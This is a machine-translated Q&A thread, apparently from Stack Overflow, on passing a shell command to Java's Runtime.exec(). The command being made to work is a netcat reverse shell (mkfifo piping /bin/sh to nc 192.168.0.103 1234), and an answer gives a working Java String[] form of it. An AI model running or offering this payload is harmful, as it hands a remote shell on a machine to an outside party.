[英]java Runtime.getRuntime().exec() unable to run commands
我需要从Runtime.getRuntime()。exec()内部运行以下命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
我应该以哪种格式将其传递给运行该行的java程序:
Process localProcess = Runtime.getRuntime().exec(myStr);
我上面要执行的整个命令在哪里,myStr在哪里?
我已经尝试过的事情:
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
给我错误:
无法运行程序“ [“ / bin / bash”,“-c”,“ / usr / bin / mkfifo”:错误= 2,没有此类文件或目录
如果我只是从终端运行命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
它运行得像个符咒,但不是通过runtime.exec()运行的。
尝试使用ProcessBuilder
而不是Runtime
。
试试这个:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd
是保存shell命令的变量。
更新:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
这是有效的Java代码,它说明了调用Runtime.getRuntime()。exec()的更多方面,例如等待过程完成以及捕获输出和错误流:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};
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